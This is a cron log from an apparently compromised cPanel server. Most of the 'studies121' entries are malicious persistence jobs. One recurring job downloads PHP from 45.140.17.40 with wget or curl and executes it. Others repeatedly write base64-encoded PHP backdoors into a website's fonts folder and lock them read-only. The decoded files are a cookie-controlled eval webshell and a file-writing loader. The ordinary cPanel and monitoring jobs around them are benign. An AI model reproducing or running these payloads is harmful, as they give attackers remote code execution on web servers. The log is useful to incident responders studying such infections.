Sep 20 16:34:01 ip-184-168-122-23 CROND[951]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:34:01 ip-184-168-122-23 CROND[955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:34:01 ip-184-168-122-23 CROND[953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:34:01 ip-184-168-122-23 CROND[956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:35:01 ip-184-168-122-23 CROND[1254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:35:01 ip-184-168-122-23 CROND[1256]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 16:35:01 ip-184-168-122-23 CROND[1258]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 16:35:01 ip-184-168-122-23 CROND[1259]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 16:35:01 ip-184-168-122-23 CROND[1260]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 16:35:01 ip-184-168-122-23 CROND[1262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:35:01 ip-184-168-122-23 CROND[1263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:35:01 ip-184-168-122-23 CROND[1265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:36:01 ip-184-168-122-23 CROND[1666]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:36:01 ip-184-168-122-23 CROND[1668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:36:01 ip-184-168-122-23 CROND[1667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:36:01 ip-184-168-122-23 CROND[1669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:36:01 ip-184-168-122-23 CROND[1670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:37:01 ip-184-168-122-23 CROND[1911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:37:01 ip-184-168-122-23 CROND[1912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:37:01 ip-184-168-122-23 CROND[1913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:37:01 ip-184-168-122-23 CROND[1917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:38:01 ip-184-168-122-23 CROND[2178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:38:01 ip-184-168-122-23 CROND[2181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:38:01 ip-184-168-122-23 CROND[2184]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:38:01 ip-184-168-122-23 CROND[2182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:38:01 ip-184-168-122-23 CROND[2183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:39:01 ip-184-168-122-23 CROND[2438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:39:01 ip-184-168-122-23 CROND[2440]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 16:39:01 ip-184-168-122-23 CROND[2439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:39:01 ip-184-168-122-23 CROND[2442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:39:01 ip-184-168-122-23 CROND[2443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:40:01 ip-184-168-122-23 CROND[2740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:40:01 ip-184-168-122-23 CROND[2741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:40:01 ip-184-168-122-23 CROND[2743]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:40:01 ip-184-168-122-23 CROND[2746]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 16:40:01 ip-184-168-122-23 CROND[2749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:40:01 ip-184-168-122-23 CROND[2750]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 16:40:01 ip-184-168-122-23 CROND[2751]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 16:40:01 ip-184-168-122-23 CROND[2752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:41:01 ip-184-168-122-23 CROND[3077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:41:01 ip-184-168-122-23 CROND[3078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:41:01 ip-184-168-122-23 CROND[3079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:41:01 ip-184-168-122-23 CROND[3081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:42:01 ip-184-168-122-23 CROND[3355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:42:01 ip-184-168-122-23 CROND[3357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:42:01 ip-184-168-122-23 CROND[3359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:42:01 ip-184-168-122-23 CROND[3360]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:42:01 ip-184-168-122-23 CROND[3361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:43:01 ip-184-168-122-23 CROND[3602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:43:01 ip-184-168-122-23 CROND[3605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:43:01 ip-184-168-122-23 CROND[3603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:43:01 ip-184-168-122-23 CROND[3604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:44:01 ip-184-168-122-23 CROND[3858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:44:01 ip-184-168-122-23 CROND[3859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:44:01 ip-184-168-122-23 CROND[3860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:44:01 ip-184-168-122-23 CROND[3863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:44:01 ip-184-168-122-23 CROND[3864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:45:01 ip-184-168-122-23 CROND[4129]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 20 16:45:01 ip-184-168-122-23 CROND[4130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:45:01 ip-184-168-122-23 CROND[4132]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 16:45:01 ip-184-168-122-23 CROND[4133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:45:01 ip-184-168-122-23 CROND[4137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:45:01 ip-184-168-122-23 CROND[4138]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 16:45:01 ip-184-168-122-23 CROND[4140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:46:01 ip-184-168-122-23 CROND[4490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:46:01 ip-184-168-122-23 CROND[4492]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 16:46:01 ip-184-168-122-23 CROND[4493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:46:01 ip-184-168-122-23 CROND[4494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
